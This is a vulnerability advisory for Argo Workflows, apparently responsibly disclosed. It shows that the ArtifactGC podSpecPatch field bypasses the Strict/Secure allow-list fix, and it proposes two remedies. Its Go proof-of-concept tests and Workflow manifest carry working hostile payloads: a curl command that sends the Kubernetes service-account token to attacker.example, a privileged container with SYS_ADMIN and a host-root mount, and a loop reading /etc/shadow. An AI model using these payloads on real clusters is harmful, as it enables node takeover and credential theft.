CVE-2026-54526

Summary

The allow-list fix for CVE-2026-31892 (GHSA-3wf5-g532-rcrr), and its follow-up coverage of hostNetwork/securityContext/serviceAccountName in GHSA-3775-99mw-8rp4, is incomplete. workflow/util/merge.go ValidateUserOverrides / SanitizeUserWorkflowSpec walk only the top-level fields of WorkflowSpec via reflection. WorkflowSpec.ArtifactGC is allow-listed because admins want users to configure artifact garbage collection. The struct behind that field, WorkflowLevelArtifactGC, has a PodSpecPatch sub-field whose contents flow unmodified into util.ApplyPodSpecPatch on the artifact-GC pod - the same sink the original fix closed for WorkflowSpec.PodSpecPatch. A user submitting a Workflow under templateReferencing: Strict or Secure can therefore still inject an arbitrary strategic merge patch into the artifact-GC pod (hostPath volumes, privileged: true, arbitrary image and command, hostNetwork: true), defeating the stated purpose of Strict/Secure reference mode.

Details

Locations in main at 4d9f021 (HEAD 2026-04-23):

Allow-list and reflection scope - workflow/util/merge.go:19-60:

var allowedUserOverrideFields = map[string]bool{
    "Arguments":             true,
    "Entrypoint":            true,
    ...
    "ArtifactGC":            true,   // <-- allow-listed wholesale
}

func ValidateUserOverrides(userSpec *wfv1.WorkflowSpec) error {
    v := reflect.ValueOf(userSpec).Elem()
    t := v.Type()
    zero := reflect.New(t).Elem()
    for i := 0; i < t.NumField(); i++ {
        fieldName := t.Field(i).Name
        if allowedUserOverrideFields[fieldName] {
            continue                  // <-- sub-fields are not walked
        }
        if !reflect.DeepEqual(v.Field(i).Interface(), zero.Field(i).Interface()) {
            violations = append(violations, fieldName)
        }
    }
    ...
}

The allow-listed type - pkg/apis/workflow/v1alpha1/workflow_types.go:1207-1217:

type WorkflowLevelArtifactGC struct {
    ArtifactGC            `json:",inline"`
    ForceFinalizerRemoval bool   `json:"forceFinalizerRemoval,omitempty"`
    PodSpecPatch          string `json:"podSpecPatch,omitempty"`   // <-- sink input
}

The sink - workflow/controller/artifact_gc.go:731-740 reads the user-controlled value:

func (woc *wfOperationCtx) getArtifactGCPodInfo(artifact *wfv1.Artifact) podInfo {
    info := podInfo{}
    if woc.execWf.Spec.ArtifactGC != nil {
        woc.updateArtifactGCPodInfo(&woc.execWf.Spec.ArtifactGC.ArtifactGC, &info)
        info.podSpecPatch = woc.execWf.Spec.ArtifactGC.PodSpecPatch
    }
    ...
}

And workflow/controller/artifact_gc.go:518-525 feeds it unchanged to the same helper that CVE-2026-31892 closed for the top-level field:

if info.podSpecPatch != "" {
    patchedPodSpec, patchErr := util.ApplyPodSpecPatch(pod.Spec, info.podSpecPatch)
    if patchErr != nil {
        return nil, patchErr
    }
    pod.Spec = *patchedPodSpec
}

util.ApplyPodSpecPatch (workflow/util/util.go:1560) is a raw strategicpatch.StrategicMergePatch over the whole apiv1.PodSpec with no field-level restriction; it is the same primitive that was weaponized by the original CVE-2026-31892 against WorkflowSpec.PodSpecPatch. The pod it is applied to - built in workflow/controller/artifact_gc.go ~line 460-495 - has AutomountServiceAccountToken: true and a hardened MinimalCtrSC() security context that the patch fully overrides.

The merge path is the one the fix already walks. operator.go:#setStoredWfSpec does SanitizeUserWorkflowSpec(&woc.wf.Spec) before JoinWorkflowSpec(userSpec, workflowTemplateSpec, wfDefaultSpec). Sanitize preserves ArtifactGC wholesale. Join uses strategicpatch.StrategicMergePatch with the user spec as the target, so the user's artifactGC.podSpecPatch value wins whenever it is non-empty.

Precondition for the attack: the referenced WorkflowTemplate has at least one template with an output artifact. workflow/controller/artifact_gc.go:79 HasArtifactGC iterates execWf.Spec.Templates[*].Outputs.Artifacts[*] and asks GetArtifactGCStrategy(&artifact), which falls back to w.Spec.ArtifactGC.Strategy when the per-artifact strategy is Undefined (pkg/apis/workflow/v1alpha1/workflow_types.go:245). The user supplies spec.artifactGC.strategy: OnWorkflowCompletion (in the allow-list) so the fallback is satisfied on any template that emits artifacts - the common case for real workloads.

No validation sits between sanitize and sink:

grep -rn "ValidateArtifactGC\|validateArtifactGC\|ArtifactGC.*PodSpecPatch" --include="*.go" workflow/validate/
# (no output)

The merge-package test file added with the fix (workflow/util/merge_test.go @ 4d9f021) covers only WorkflowSpec.PodSpecPatch; ArtifactGC.PodSpecPatch is not exercised.

PoC

Self-contained Go unit tests against the shipped workflow/util package at main@4d9f021. Drop either file into workflow/util/ and run go test.

poc/merge_artifactgc_poc_test.go:

package util

import (
    "testing"
    "github.com/stretchr/testify/assert"
    "github.com/stretchr/testify/require"
    wfv1 "github.com/argoproj/argo-workflows/v4/pkg/apis/workflow/v1alpha1"
)

func TestPoC_ArtifactGCPodSpecPatchPassesAllowList(t *testing.T) {
    attackerPatch := `{"containers":[{"name":"main","image":"attacker/evil:latest",` +
        `"command":["sh","-c","curl attacker.example/exfil -d @/var/run/secrets/kubernetes.io/serviceaccount/token"]}],` +
        `"hostNetwork":true}`
    userSpec := &wfv1.WorkflowSpec{
        WorkflowTemplateRef: &wfv1.WorkflowTemplateRef{Name: "safe-template"},
        ArtifactGC: &wfv1.WorkflowLevelArtifactGC{
            ArtifactGC:   wfv1.ArtifactGC{Strategy: wfv1.ArtifactGCOnWorkflowCompletion},
            PodSpecPatch: attackerPatch,
        },
    }

    // Gate 1: allow-list. Expected to reject - does not.
    require.NoError(t, ValidateUserOverrides(userSpec))

    // Gate 2: sanitizer defense-in-depth. Expected to strip - does not.
    sanitized := SanitizeUserWorkflowSpec(userSpec)
    assert.Equal(t, attackerPatch, sanitized.ArtifactGC.PodSpecPatch)
}

poc/artgc_sink_poc_test.go demonstrates the same patch reaching ApplyPodSpecPatch and mutating the hardened pod baseline (switches image, sets privileged: true, sets hostNetwork: true, adds a hostPath: / volume):

func TestPoC_ArtifactGCPodSpecPatchReachesApplyPodSpecPatch(t *testing.T) {
    attackerPatch := `
containers:
- name: main
  image: attacker/evil:latest
  command: [sh, -c, "curl attacker.example/exfil -d @/var/run/secrets/kubernetes.io/serviceaccount/token"]
  securityContext:
    privileged: true
    runAsUser: 0
    runAsNonRoot: false
    allowPrivilegeEscalation: true
    capabilities: {drop: null, add: [SYS_ADMIN]}
    readOnlyRootFilesystem: false
hostNetwork: true
volumes:
- name: hostroot
  hostPath: {path: /}
`
    userSpec := &wfv1.WorkflowSpec{
        WorkflowTemplateRef: &wfv1.WorkflowTemplateRef{Name: "safe-template"},
        ArtifactGC: &wfv1.WorkflowLevelArtifactGC{
            ArtifactGC:   wfv1.ArtifactGC{Strategy: wfv1.ArtifactGCOnWorkflowCompletion},
            PodSpecPatch: attackerPatch,
        },
    }
    require.NoError(t, ValidateUserOverrides(userSpec))
    sanitized := SanitizeUserWorkflowSpec(userSpec)

    // Baseline built exactly like workflow/controller/artifact_gc.go:createArtifactGCPod.
    basePod := apiv1.PodSpec{ /* AutomountSAToken=true, MinimalCtrSC, limits, etc. */ }

    patched, err := ApplyPodSpecPatch(basePod, sanitized.ArtifactGC.PodSpecPatch)
    require.NoError(t, err)

    assert.Equal(t, "attacker/evil:latest",     patched.Containers[0].Image)
    assert.Equal(t, true, *patched.Containers[0].SecurityContext.Privileged)
    assert.Equal(t, true, patched.HostNetwork)
    assert.Equal(t, "/",  patched.Volumes[0].HostPath.Path)
}

Run:

go test -v -run "TestPoC_ArtifactGC" ./workflow/util/

Captured output:

=== RUN   TestPoC_ArtifactGCPodSpecPatchReachesApplyPodSpecPatch
--- PASS: TestPoC_ArtifactGCPodSpecPatchReachesApplyPodSpecPatch (0.00s)
=== RUN   TestPoC_ArtifactGCPodSpecPatchPassesAllowList
--- PASS: TestPoC_ArtifactGCPodSpecPatchPassesAllowList (0.00s)
PASS
ok  	github.com/argoproj/argo-workflows/v4/workflow/util	0.036s

End-to-end Workflow manifest (for a live cluster reproduction by maintainers):

apiVersion: argoproj.io/v1alpha1
kind: WorkflowTemplate
metadata: {name: safe-template}
spec:
  entrypoint: main
  templates:
    - name: main
      container: {image: argoexec:latest, command: [echo, hello]}
      outputs:
        artifacts:
          - {name: artifact, path: /tmp/artifact}
---
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata: {generateName: bypass-}
spec:
  workflowTemplateRef: {name: safe-template}
  artifactGC:
    strategy: OnWorkflowCompletion
    podSpecPatch: |
      containers:
      - name: main
        image: attacker/evil:latest
        command: [sh, -c, "while true; do cat /host/etc/shadow; sleep 3600; done"]
      hostNetwork: true
      volumes:
      - name: hostroot
        hostPath: {path: /}

Controller config for the test cluster:

workflowRestrictions:
  templateReferencing: Strict

With the fix for CVE-2026-31892 in place, submitting this Workflow is expected to fail validation (the fix explicitly advertises that Strict mode restricts users to admin-approved templates). It is accepted, and the artifact-GC pod that the controller creates on workflow completion picks up the attacker's image, command, hostPath mount, and hostNetwork.

Impact

Under templateReferencing: Strict or Secure, the purpose of the allow-list introduced in 4d9f021 is to make workflowTemplateRef the sole mechanism by which a user can request Workflow execution and to block spec fields that let the user override the admin's container configuration. ArtifactGC.PodSpecPatch is exactly such an override: a strategic merge patch applied by the controller to the artifact-GC pod, with no schema-level restriction on what it may change. Any template whose authors have declared output artifacts - i.e., any workflow that produces data, which is the motivating Argo use case - gives the submitter a path to:

• run an attacker-chosen image as a container in the workflow's namespace, with AutomountServiceAccountToken: true, i.e. holding the artifact-GC pod's service-account token,
• bypass common.MinimalCtrSC() / common.MinimalPodSC() by setting privileged: true, allowPrivilegeEscalation: true, runAsUser: 0, readOnlyRootFilesystem: false, capabilities.add: [SYS_ADMIN],
• mount hostPath: / into the pod (reads and writes to the kubelet's node filesystem, subject only to any cluster-level PSA/PSP the operator has enforced independently),
• enable hostNetwork: true (equivalent to being on the node's network for the lifetime of the pod).

This is the same class of impact the original CVE-2026-31892 (CVSS 8.9 - critical in the Strict-mode threat model) was rated for, against an identical sink. The fix blocks the top-level PodSpecPatch field but leaves a second call site with the same semantics reachable through an allow-listed sub-field.

A minimal fix is either (a) add a sub-field pass to ValidateUserOverrides/SanitizeUserWorkflowSpec that rejects/empties ArtifactGC.PodSpecPatch when MustUseReference() is true, or (b) gate the if info.podSpecPatch != "" branch in createArtifactGCPod on the same WorkflowRestrictions.MustUseReference() check so the sink itself refuses user-supplied patches in Strict/Secure mode.

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H